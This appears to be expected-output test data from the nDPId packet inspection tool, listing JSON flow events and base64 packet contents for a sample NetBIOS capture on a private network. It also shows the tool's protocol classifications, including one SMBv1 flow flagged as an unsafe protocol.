+00469{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772213,"pkt_ts_usec":151227,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYzsAAIARuOIKAASDCgAF\/wCJAIkAOr8cp0sBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772213,"pkt_ts_usec":264539,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYzwAAIARuOEKAASDCgAF\/wCJAIkAOr8bp0wBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772213,"pkt_ts_usec":410978,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYz0AAIARuOAKAASDCgAF\/wCJAIkAOr8ap00BEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772214,"pkt_ts_usec":160973,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOY2sAAIARuLIKAASDCgAF\/wCJAIkAOr8ap00BEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"netbios.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1447772214344,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.9","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00672{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772214,"pkt_ts_usec":344593,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/ADBIsLGUCABFAADlUKwAAIARylQKAAUJCgAF\/wCKAIoA0VBGEQ7C9AoABQkAigC7AAAgRU9GR0ZDREpDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZHRUpFSEVKRU1FQkVPRkVGUEVIRkNFUEZGRkFDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQCA\/AoATlZSOQAAAAAAAAAAAAAAAAYBBxABAA8BVaoA"} +00545{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"netbios.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1447772214344,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.9","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00468{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772214,"pkt_ts_usec":403136,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOPwoAAIAR260KAAXpCgAF\/wCJAIkAOuDzmiABEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00468{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772215,"pkt_ts_usec":152486,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOQZcAAIAR2SAKAAXpCgAF\/wCJAIkAOuDzmiABEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00468{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772215,"pkt_ts_usec":902570,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABORE0AAIAR1moKAAXpCgAF\/wCJAIkAOuDzmiABEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"netbios.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1447772216537,"flow_last_seen":0,"flow_tot_l4_data_len":21,"flow_min_l4_data_len":21,"flow_max_l4_data_len":21,"flow_avg_l4_data_len":21,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.4.131","src_port":139,"dst_port":1398,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00415{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772216,"pkt_ts_usec":537634,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"ABj+bLz3ABzEEHkPCABFAAApQatAAIAGnIkKAAQYCgAEgwCLBXatXRk68Re6KFAQ96kjtgAAAAAAAAAA"} +00415{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772216,"pkt_ts_usec":537735,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABzEEHkPABj+bLz3CABFAAAoY6dAAIAGeo4KAASDCgAEGAV2AIvxF7oorV0ZO1AQ+ycgOAAAAAAAAAAA"} +00468{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772217,"pkt_ts_usec":414671,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOSagAAIAR0Q8KAAXpCgAF\/wCJAIkAOuDxmiIBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00468{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772218,"pkt_ts_usec":163817,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOTFAAAIARzmcKAAXpCgAF\/wCJAIkAOuDxmiIBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00468{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772218,"pkt_ts_usec":913890,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOT7UAAIARywIKAAXpCgAF\/wCJAIkAOuDxmiIBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":44,"source":"netbios.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1447772214344,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.9","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772220,"pkt_ts_usec":427547,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOV8oAAIARwu0KAAXpCgAF\/wCJAIkAOuDvmiQBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00469{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772221,"pkt_ts_usec":177140,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOW4sAAIARvywKAAXpCgAF\/wCJAIkAOuDvmiQBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"netbios.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1447772221776,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.1.87","dst_ip":"10.0.4.24","src_port":57836,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772221,"pkt_ts_usec":776592,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ABzEEHkPACFislxDCABFAABOBFAAAH8RHeEKAAFXCgAEGOHsAIkAOqS0IKgAAAABAAAAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAE="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"netbios.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1447772221776,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.1.87","dst_ip":"10.0.4.24","src_port":57836,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00630{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772221,"pkt_ts_usec":776690,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"ACFislxDABzEEHkPCABFAADLdA9AAIARbKQKAAQYCgABVwCJ4ewAt5RIIKiEAAAAAAEAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAEAAAAAAHcER1VOTkFSICAgICAgICAgAAQAVklHSUxBTlRfR1JPVVAgAIQAR1VOTkFSICAgICAgICAgIAQAVklHSUxBTlRfR1JPVVAgHoQAABzEEHkPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"netbios.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1447772221882,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772221,"pkt_ts_usec":882535,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBdSQGCABFAABOIosAAIAR+bAKAARlCgAF\/wCJAIkAOuxhlzUBEAABAAAAAAAAIEVORkZFTUVKQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"netbios.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1447772221882,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00469{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772221,"pkt_ts_usec":927305,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOXlwAAIARvFsKAAXpCgAF\/wCJAIkAOuDvmiQBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00469{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772223,"pkt_ts_usec":436506,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOY9EAAIARtuYKAAXpCgAF\/wCJAIkAOuDtmiYBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00469{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772224,"pkt_ts_usec":186428,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOZnEAAIARtEYKAAXpCgAF\/wCJAIkAOuDtmiYBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00469{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772224,"pkt_ts_usec":936545,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOZ4oAAIARsy0KAAXpCgAF\/wCJAIkAOuDtmiYBEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"netbios.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.165","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772225,"pkt_ts_usec":411322,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt3SFCABFAABOYEAAAIARu7sKAASlCgAF\/wCJAIkAOvrLhIYBEAABAAAAAAAAIEVIRkZFT0VPRUJGQ0NBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"netbios.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.165","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"netbios.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.4.165","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772225,"pkt_ts_usec":411416,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"AOCBt3SFABzEEHkPCABFAABaEmgAAIARC28KAAQYCgAEpQCJAIkARtanhIaFAAAAAAEAAAAAIEVIRkZFT0VPRUJGQ0NBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEABJPgAAYAAAoABBg="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":69,"source":"netbios.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.4.165","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"netbios.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1447772230221,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.66","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772230,"pkt_ts_usec":221577,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+KG95CABFAABOBVEAAIARFw4KAARCCgAF\/wCJAIkAOg\/qh84BEAABAAAAAAAAIEVIRkZGQ0ZGQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"netbios.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1447772230221,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.66","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00466{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"netbios.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.4.165","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"netbios.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1447772225411,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.165","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"netbios.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1447772230221,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.66","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"netbios.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1447772221882,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":106,"source":"netbios.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772234,"pkt_ts_usec":353157,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABzEEHkPCABFAABOQtEAAIAR2bcKAAQYCgAF\/wCJAIkAOvkLntYBEAABAAAAAAAAIEVIRkZGQ0ZGQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":106,"source":"netbios.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"netbios.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.1","dst_ip":"10.0.4.24","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772234,"pkt_ts_usec":353315,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"ABzEEHkP7Khr9GB3CABFAABaM4kAAIAR6fEKAAUBCgAEGACJAIkARtMVntaFAAAAAAEAAAAAIEVIRkZGQ0ZGQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEABJPgAAYAAAoABQE="} 